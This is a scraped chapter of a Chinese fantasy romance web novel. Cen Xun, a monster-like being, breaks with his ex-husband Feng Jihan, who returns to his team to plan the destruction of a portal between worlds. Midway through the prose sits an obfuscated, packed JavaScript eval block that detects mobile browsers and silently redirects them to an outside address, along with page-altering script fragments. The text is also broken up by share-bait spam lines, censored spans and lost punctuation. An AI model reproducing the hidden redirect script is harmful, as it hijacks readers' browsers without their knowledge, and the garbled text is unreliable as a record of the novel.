仿佛被这句话刺痛,封霁寒瞳孔骤然紧缩,琉璃瞳愣愣地盯着他,喉咙艰难地滚动了一下:“你……不认识我了吗?”


    看样子一时半会走不了了,岑浔便往旁边一倚,将一边手肘搭在栏杆上,微抬下巴,姿态闲适地上下扫视他,琥珀眼瞳天然带着睥睨感:“你谁?”


    看上去态度不明,但作为与岑浔相处了多年的人,封霁寒却能听出来,这句话与其是反问,更多是讥讽和玩味。


    他是故意装成不认识他的。


    封霁寒绷紧了下颌,咬牙道:“你老公。”


    随着这句话落下,岑浔像是觉得很好笑似的,轻轻挑起唇角:“我怎么不记得我还有个老公?”


    他垂下眼,漫不经心地抚摸无名指上那圈泛白的戒痕:“就算有,也是前夫了。”


    “你得说,你是我前夫,我才能想起你这号人啊。”


    封霁寒的脸色更难看了。


    一阵风吹过来,轻拂岑浔额前的碎发,看到封霁寒的神情,他眸光微微一动,走上前去,心疼似的,抬指轻抚封霁寒的心口。


    语气却是截然相反的恶意满满。


    “我以为我上次就已经把话说清楚了,是没听懂吗?”岑浔凑到他耳边,带着点狠意轻笑道:“死一次不够,还敢送上门?”


    封霁寒倏然抬手,握住岑浔抚在心口上的手腕,眼里夹杂着很复杂的情绪,一闪而逝的落寞被执着取代:“我只是觉得,上次太匆忙了,很多事情我都没来得及解释清楚。”


    岑浔没有收回手,兴意阑珊道:“可我觉得,很多事情并不需要解释。”


    “事实就是事实,不是吗?”


    封霁寒嘴唇微动:“可——”


    “那我问你,”岑浔打断他的话,紧盯着他的眼睛:“十多年前你来到小山村,是有人逼你做的吗?”


    封霁寒顿了顿,吐出两个字:“不是。”


    岑浔步步紧逼:“你来孤儿院里找我,带我离开,是有人逼你做的吗?”


    封霁寒抿紧唇角,还是说:“不是。”


    岑浔似是觉得有点疲惫了,闭了闭眼:“你跟我结婚,看管我的行为,是有人逼你做的吗?”


    封霁寒声音已经有点哑了:“不是。”


    岑浔重新睁开眼,掀起眼皮,直勾勾看着他:“对我隐瞒我的**,隐瞒自己的**,隐瞒这个世界的真相,让我一无所知地陪你玩过家家,是有人逼你做的吗?”


    过了好一会儿,封霁寒才发出艰涩的声音:“……不是。”


    “那你还有什么好解释的。”岑浔嘲弄一笑,笑声里满是讽刺:“封霁寒,你还想解释什么?”


    他抬


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    起另一只手,指尖缱绻地一圈圈缠起封霁寒肩上垂落的银白长发,然后将它们握在手心,忽而狠狠往下一拽,逼得他弯腰,与他的视线平齐:“与其狡辩,不如直接承认吧。


    不知是不是吃痛,封霁寒眼眶中带上了几分红意:“承认什么?


    “承认你那些见不得人的卑劣私欲。


    岑浔的笑意冷得发狠,殷红唇瓣吐露出的话语如利刃,将真相剖解得鲜血淋漓:“嘴上冠冕堂皇地说要维持两个世界的平衡,所以要拦着我,这么怕我觉醒化诡,怎么在小山村时,你没干脆让我被别人杀死呢?


    “等后来结婚了,你一边享受着眼前的浓情蜜意,一边又担心掌控不了我,所以干脆隐瞒了真相。


    “既想要我,又想要世界和平,封霁寒,你知道你很贪心吗。


    这句话几乎是岑浔贴着封霁寒的耳畔说的,近得足够暧昧,可这次环绕在他们周身的,唯有刺骨冷意。


    岑浔微微侧过脸,看到封霁寒握着他的那只手上戴着的黑色婚戒,冷笑道:“你怎么还戴着它。


    岑浔寒声命令他:“脱下来,现在。


    封霁寒第一时间做的,竟然是蜷缩起手指。


    但是没有用,下一秒,锋利的傀儡丝便将婚戒从中间截断,强行将它从封霁寒的手指上剥离。


    封霁寒略显失态地伸手去抓,岑浔却快速将断裂的黑色婚戒握在手心里,后退了一步,微笑道:“我都丢了,你也该丢的。


    封霁寒停在岑浔面上,紧紧盯着他手中的断戒,呼吸变得急促:“……还给我。


    岑浔唇角掀起凉薄的弧度:“结婚的时候,我就跟你说过,我眼里容不得沙子,要是你敢背叛我,我就杀了你。


    岑浔抬手举起那枚断戒:“你配戴着它吗?


    说罢,岑浔眼也不眨,直接将它往外一抛,干脆利落地像丢了个垃圾,封霁寒的双眼突然变得猩红,视线紧紧追随着那枚戒指,竟毫不犹豫地要翻出栏杆去追。


    岑浔早有预料,拽住他的胳膊就将他拖了回来,重重往墙上一推。


    封霁寒后背撞在墙上,手肘撑着身体想要站直,岑浔却已欺身上前,将他按在墙上,强硬地捏着他的下巴抬起:“我再给你一次机会。


    “选我,还是选那些无关紧要的人类,你只能二选一。


    苍白的下巴被捏得泛红,封霁寒被迫抬起脸,额前黑发微微散开,垂落在身前的银白长发也往后落去,他急促喘息着,闭目说不出话来。


    “怎么,很难选吗?岑浔目光扫过他泛红的皮肤,下滑进领口,抬起的指背狎昵地拂过他的侧脸:“哦,我忘记了,你可是个贪心的人,一


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    时半会儿怎么选得出来,当然是全都想要了。”


    封霁寒却忽然偏了一下脸,避开他的手指,垂落的银白睫羽抖了抖,哑声说:“你说得对。”


    岑浔停下动作:“嗯?”


    “是,我就是这么一个卑劣自私的人。”封霁寒的胸膛起伏着,抬起银色眼睫,一双琉璃瞳在光线下一片剔透,里面空空荡荡,一片寂寥:“我既放不下你,又放不下养育了我的世界,我本该坚定地站在人类立场上,在你忘却一切时亲手斩杀你,可我偏偏……对你生出了私情。”


    那双琉璃瞳被湿意浸染,仿佛很快就要碎得四分五裂:“什么是正义,该如何行使正义,我以为我早已将它们融入骨血,原来只要是人,都会产生无法抑制的私欲。”


    “说谎,欺骗,隐瞒,我从没做过如此卑劣的事情,连我都觉得这样的自己很陌生,”封霁寒笑了笑,有晶莹的水珠从他的下巴滴落:“但我不后悔这样对你,毕竟——”


    他闭上眼,自嘲一笑:“我早就知道,欺神者,终将被神所弃。”


    明知道后果,却还是要去做,既然他不愿做一辈子的圣人,那就坦然承担不做圣人的后果。


    他费尽心思为自己打造了这黄粱一梦,可梦醒的那天,终究还是来了。


    “好一个不后悔,”岑浔笑了:“不错,要是你悔不当初,反倒会让我觉得报复你十分索然无味。”


    说着,他含笑的目光扫过青年,封霁寒本就长得好,原本的外貌更是格外的好看,简直像雪做的玉人,无论是脸还是身体,每一处线条和轮廓都被造物者雕刻得那么的鬼斧神工。


    封霁寒是会哭的,第一次在山村见面的时候,封霁寒就哭过,后来岑浔更是喜欢看到他哭的模样。


    ——有种让人想狠狠摧毁,让他变得更碎的破碎感。


    于是岑浔敛起了厉色,神色又变得柔和了,他将唇瓣贴近青年湿漉漉的面庞,轻轻舔吻掉那些滚落的泪珠,好像万分缱绻似的,嗓音里多了几分诡谲的温柔:“我的小鸟很痛吗?”


    他贴着封霁寒的脸,蛊惑般低声说:“一定是外面的世界太糟糕了,回到我身边吧,乖乖待在我为你打造的笼子里,你就不会痛了。”


    封霁寒好像终于从痛苦中抽离了出来,他深吸了一口气,轻轻推开岑浔,站直身体,擦拭了一下脸颊。


    他缓缓抬眼,对上岑浔的眼睛,发出了坚决的声音:“不。”


    岑浔脸上的表情逐渐消失,他往后退了几步,跟封霁寒拉开了距离。


    阳光忽然被乌云遮盖,天色阴沉了下来,连廊处的光影飞快变幻,岑浔的面容隐藏在阴影里,变得模糊不清。


    “那真是


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    太可惜了。”


    “不过我很喜欢你的脸。”岑浔冰冷弯起唇角妖异横生:“既然不肯做我的宠物那我就绞碎你的脑子把你制作成我的人偶。”


    “轰隆——”雷霆炸响的刹那惨白的雷光照亮了两人的面容。


    封霁寒骤然一个腾身避开四面八方朝他袭来的傀儡丝铺天盖地的傀儡丝紧追着他他如同一只在天罗地网中极力挣脱束缚的羁鸟逃脱无门最终还是被快速收拢包围圈的傀儡丝困在了方寸之间。


    不知是不是岑浔的恶趣味细密地围拢着封霁寒的傀儡丝构成了鸟笼的形状封霁寒站在中间倒真像一只被捕捉的珍稀鸟类。


    岑浔来到笼外


    “可惜小鸟不想跟你回家。”笼里的封霁寒已经收敛好所有情绪除了眼眶有点红神情又恢复了往日的沉静。


    岑浔是真的疑惑了:“就这么喜欢你的世界哪怕它正在腐烂?”


    雨丝被狂风卷进连廊封霁寒长发微湿眼神却是坚定的:“是它正在腐烂但很多无辜者同样生活在那个世界上他们都不该死。”


    “只要无辜的生灵还存在一日我就会倾尽所有为人类而战。”


    “那就拭目以待吧”岑浔眸光逐渐变深倨傲笑道:“终有一日你和你的世界都会成为我的战利品。”


    “我的救世主下次再见面记得对我倾尽全力。”


    笼中的封霁寒对他笑了笑有些惨然道:“好。”


    岑浔面无表情五指骤然收紧傀儡丝构成的鸟笼立即向中心收拢待它们再次错开时笼中已没有封霁寒的身影只剩一根轻盈的黑白鸟羽晃悠悠飞起被傀儡丝缠住递到了岑浔的手中。


    “又玩这招。”


    岑浔面色阴晴不定地将鸟羽攥在手心垂下眼眸看不出眼中的情绪。


    在连廊直线距离一千米的图书馆顶楼上童瞑冒着雨趴在天台边缘长焦镜头挡住半张脸兴奋上扬的唇角若隐若现。


    “嘿嘿嘿拍到了拍到了大新闻啊……”童瞑一边嘿嘿笑一边不断擦拭镜头上的雨水嘴里喃喃道:“我哥现在的心情估计糟糕透了最后一张拍完就撤。”


    然而镜头里的岑浔忽然转过脸眼神冷厉地直直朝他看了过来。


    靠靠靠被发现了!童瞑的手一抖照片拍糊了童瞑却顾不上那么多这时候他慌里慌张想要撤退已经来不及了下一秒傀儡丝击穿了他镜头。


    “我的相机——”


    童瞑发出凄厉的哀嚎痛苦得像失去了自己的老婆。


    天气更差了狂风大作


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    ,电闪雷鸣,暴雨如注。


    瓢泼大雨兜头浇下,童瞑抱着他的相机倒在冰冷的天台上,在大雨中淋成了落汤眼。


    “呜呜呜哥你失恋就失恋,自己撕了伞,还想要别人都陪你淋雨,没天理啊!”


    不知何时,连廊里的岑浔已出现在天台。


    暴雨中,他潮湿的黑发贴在了脸畔,雨水沿着脖颈滚入更深处,脸上没有丝毫表情地向童瞑伸出修长的手,声音冰冷:“交出来。”


    现在噩梦大学里的天气这么差,童瞑哪里敢跟岑浔讨价还价,他一句话都不敢说,抖着手,满眼不舍地把相机交了出去。


    岑浔打开相机,翻阅童瞑拍摄的照片。


    不知道童瞑怎么做到的,隔着这么远的距离,居然还能拍摄出无比高清的照片,连每根头发的走势都纤毫毕现。


    岑浔操作了几下,然后删除了所有照片,把相机丢还给童瞑。


    童瞑接住相机,再抬眼时,发现岑浔的身影已经消失了。


    他哥这么记仇,这次居然连账都没跟他算,这心情得差到什么地步啊……


    冷冷的雨在脸上胡乱地拍,童瞑抹了一把脸,感觉自己要被淋得睁不开眼了。


    等他从天台下去,天上已经下起了大冰雹。


    好好好,现在又想砸死所有人了是吧。


    童瞑唉声叹气地回到自己的院长办公室,连衣服都没来得及拧干,第一步就是打开电脑,只见他操作了几下,一个页面就跳了出来,上面赫然挂着他刚刚拍摄的所有照片。


    诶嘿!身为八卦记者,他拍的照片怎么可能没有备份呢?没想到吧哥!


    童瞑搓了搓手,开始选取照片,预备起一个足够劲爆的标题。


    嗯,是取“亡夫震撼归来,一场暴雨中的**,爱情能否重生”,还是取“从挚爱到宿敌?他与亡夫雨中上演情感终极对决”?


    童瞑打了个响指,眼睛一亮,或者干脆取个“离婚不是终点,是他开挂的起点!与前夫成为宿敌后,他如何华丽转身”?


    在童瞑纠结起哪个标题的时候,另一边,八卦新闻中的另一个主角正在队友的注目礼中缓缓醒来。


    “长官你醒啦,”有着虎牙的青年小心翼翼地递上一张餐巾纸,满脸同情:“擦擦脸吧。”


    封霁寒坐起身,若无其事地接过纸巾,打眼一看,自己组里的成员居然都在。


    封霁寒皱了皱眉:“你们都聚在这里干什么?”


    虎牙青年顾左右而言他:“哦,我们之所以聚在这,是因为我们有事啊——倒是你,长官,你这次进去,收获如何?”


    封霁寒捏紧纸巾,语气平淡:“很好啊,收获很大,为什么这么问?”


    虎牙青年指


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    了指自己的眼睛:“真的收获很大吗?可你哭了诶,是被感动哭的吗?


    “……封霁寒胡乱用纸巾擦了一把脸,镇定道:“你知道的,我眼睛从小不好,只是眼睛不舒服而已。


    管理员01凑上来,指着他的手指:“那你分/身戴进去的婚戒呢,怎么没跟着一起出来?


    虎牙青年耿直道:“不会也被丢了吧。


    好一个“也字。


    封霁寒窒息一瞬,强撑着说:“哈哈,怎么可能,是我觉得要好好保管,所以收起来了。


    管理员01托着下巴:“那你现在拿出来。


    封霁寒:“……


    这时,穿着连帽衫的少年懒洋洋举起手,他的手上拿着一个手机,扬声道:“大家都别说话,等我把手机调成静音!


    虎牙青年疑惑问:“为什么要调静音啊?


    连帽衫少年环顾四周一圈,振振有词道:“把世界调成静音,就能聆听到长官破防的声音。


    封霁寒:“……


    “唉,长官你也别太难过,凡事都要往好处想,虎牙青年绞尽脑汁,不熟练地安慰封霁寒:“至少你俩没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16735881|137125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去领离婚证,丢个戒指而已,其实不算离婚。


    管理员01抱臂在旁边神补刀:“不对,非要说的话,《噩梦世界》里领的结婚证本来也不算数吧。


    封霁寒指着门外:“……如果你们是来看我笑话的,现在就可以滚了。


    管理员01这才收敛了笑意,肃容问道:“他状态怎么样?


    封霁寒苦笑道:“神智清醒,攻击性强烈。


    虎牙青年沉思道:“这么看来,他并没有成功夺下H大并成为域主。


    他们都很清楚,H大作为开启整个噩梦世界的内测副本,其中会**多强的污染,如果岑浔在那里觉醒,根本不可能保持正常神智。


    房间里陷入了缄默,一片寂静中,封霁寒喉咙忽然一动,飞快抬手,用纸巾捂住了嘴。


    粘稠的鲜血还是从指缝里漏了出来,众人脸色纷纷一变,虎牙青年立即转身拿了纸,整包塞给封霁寒。


    封霁寒沉默不语地将咯出的血擦干净,管理员01脸色很难看:“你疯了!什么能说,什么不能说,你心里没点数?


    封霁寒垂眸擦掉指尖的血,低声道:“是啊,我可能早就疯了吧。


    他把沾血的纸巾揉成一团,丢在地上,忽而没头没尾地说:“其实还是有点后悔的。


    管理员01叹了口气,对其他人说:“你们都出去吧,我有点话跟他说。


    其他人担忧点头,退了出去。


    房间里只剩管理员01和封霁寒两人。


    作为当年事变的亲历者之


    你的朋友正在书荒,快去帮帮他吧


    一组里这群人里大概只有管理员01最了解事情的始末。


    她点了根烟夹在手里却没抽:“闹崩了?”


    封霁寒:“嗯。”


    管理员01缓缓问:“你真的觉得诡怪会对人类生出感情吗?”


    封霁寒没说话他起身走到窗边望着异端监测局的大楼听到管理员01在他身后说道:“封霁寒连你自己也不确定吧不确定他是不是真的爱你还是……只把你当成一个有趣的玩具。”


    “非我族类其心必异。”管理员01终究还是抽了那口烟眼神幽暗:“自诡怪诞生以来这片土地上有多少人死于诡怪之手就连我哥哥——”


    “总之既然已经选了人类就不要再想自己失去了什么。”管理员01喃喃道:“我们这些人就是靠着遗忘靠着不断失去重要的东西才能继续活下去的不是吗?”


    封霁寒垂眸看着自己只留下戒痕的手指疲惫似的缓缓将额头抵在了玻璃上:“你说的对。”


    同路而行只是假象短暂交织的命运之线终究还是错开各自走向了一个无法回头的分岔口。


    管理员01抽完了一支烟见封霁寒还将脑袋磕在玻璃上装蘑菇觉得有点好笑随手将烟屁股摁灭在烟灰缸里:“振作点虽然现在噩梦世界确实重启了但我们也不是什么事都不用做。”


    管理员01拉过椅子打开电脑运指如飞调出H市的地图:“还记得我们设立在H市的端口吗?当初预言家说噩梦世界会在远离海域的地方重启我们就把端口搬到了离海域最近的H市——现在好了重启地点说变就变最安全变得最危险。”


    一栋3D立体大厦在电脑屏幕中浮现


    “既然我们能从这个端口偷渡进噩梦世界这也代表着……”


    管理员01的语气变得沉重:“诡怪能从这个端口偷渡到现实世界。”


    “在诡怪们发现它之前”管理员01严肃道:“必须毁掉这个端口。”


    异端局设在H市的端口是双向通道如果不想让诡怪偷渡到人类世界他们就必须进入噩梦世界从内部毁掉里端口。


    可没想到的是《噩梦世界》为了开放公测直接封闭了七天他们没法再通过端口渠道进入噩梦世界内部这一等就等到了开放日。


    端口的问题刻不容缓他们压根不知道噩梦世界公测后端口附近会不会出现新的诡域稍有不慎万一诡域沿着端口渗透进现实——那麻


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    烦就大了。


    封霁寒终于停止自闭,来到电脑前,盯着那栋大厦:“预言家的预言为什么会失误?”


    管理员01:“可惜预言家已经**,否则你还可以去亲自问他。”


    封霁寒点了点头,敛起了眼中的若有所思:“端口确实是个隐患,上报吧。”


    *


    噩梦大学的暴雨渐渐停下了。


    童瞑原本以为岑浔需要好几天才能平复心情,但他完全没想到,只过了一小时,雨势就逐渐变小了,甚至很快,天空便重新放晴,连地上的积水和冰雹都消失了,就好像那场暴雨冰雹从未出现过。


    接着,童瞑就接到了岑浔的消息,让他立即去校长办公室一趟,搞得童瞑一度非常心虚,以为自己备份照片的事情被发现了。


    好在进了校长办公室的门后,岑浔并未表现出追究照片的意思,他坐在校长办公桌后,身上的衣服已经换了一套——依旧是童瞑欣赏不来的花色。


    见此,童瞑不得不暗夸自己一声有先见之明。


    没错,是他!今天特意起了大早,冒着被岑浔暴揍的风险,硬是抱着他的腿求他放弃丑衣服,换上了那套衬衫马甲。


    否则他哥跟封霁寒**的时候,封霁寒那家伙说不定真会笑出来的……那丑衣服多破坏气氛啊。


    童瞑心里腹诽,明面上却不敢表现出对丑衣服的不满,眼睛看天看地,就是不敢看岑浔:“哥你喊我,是有什么事吗?”


    岑浔脸上没什么表情:“我忽然想起一件事。”


    童瞑脑海里的那根弦立即紧绷起来:“什、什么事呢?”


    “结婚后,封霁寒每天都要去上班,但他的身份是玩家,这里的一切对他来说都是虚假的,他有什么班要上?”


    岑浔十指交握,抵住下巴,露出些许沉思的神色:“已知他的**是玩家,又已知,当时玩家还没有大面积登陆,那么,他是怎么绕过噩梦系统偷渡进来的?”


    童瞑没想到岑浔会问出这样的问题,不由一愣:“会不会是他的某种技能——比如穿梭空间之类的?”


    “也不是没有这个可能,”岑浔淡淡道:“但如果是另外一种可能——比如他是从两界之间的裂隙偷偷钻进来的,这也说不准。”


    弄明白岑浔的意思,童瞑面露狂喜,兴冲冲道:“如果真有裂隙,那我们能不能也偷渡到人类世界?”


    岑浔露出一个带着恶意的微笑,对童瞑说:“去查吧,着重去查我那个前夫的公司……有些人,表面上是去当总裁,说不定是跨过裂隙,偷偷回现实打工了呢。”


    童瞑拍拍胸脯:“哥你放心,这事就包在我身上!”


    岑浔瞥他一眼:“尽快去查,如果真有裂隙,等他们反应过来,说不定会把裂隙毁掉。”


    童瞑“哎”了一声,不再耽搁,立即下去调查。


    走进电梯,童瞑不由感慨,不愧是他哥,这么快就从情伤里走了出来。


    这才对嘛,人类的数量有那么多,他哥要是想玩这款,再找个差不多的听话的不就行了?何必执着于一个叛徒?


    以前童瞑就不理解,架不住岑浔玩不腻,只能选择尊重祝福。


    现在好了,终于分了。


    他哥还是他哥,理智始终占据高地。


    童瞑按下按钮,心中凉薄地想。


    诡怪只需要食物,才不需要爱。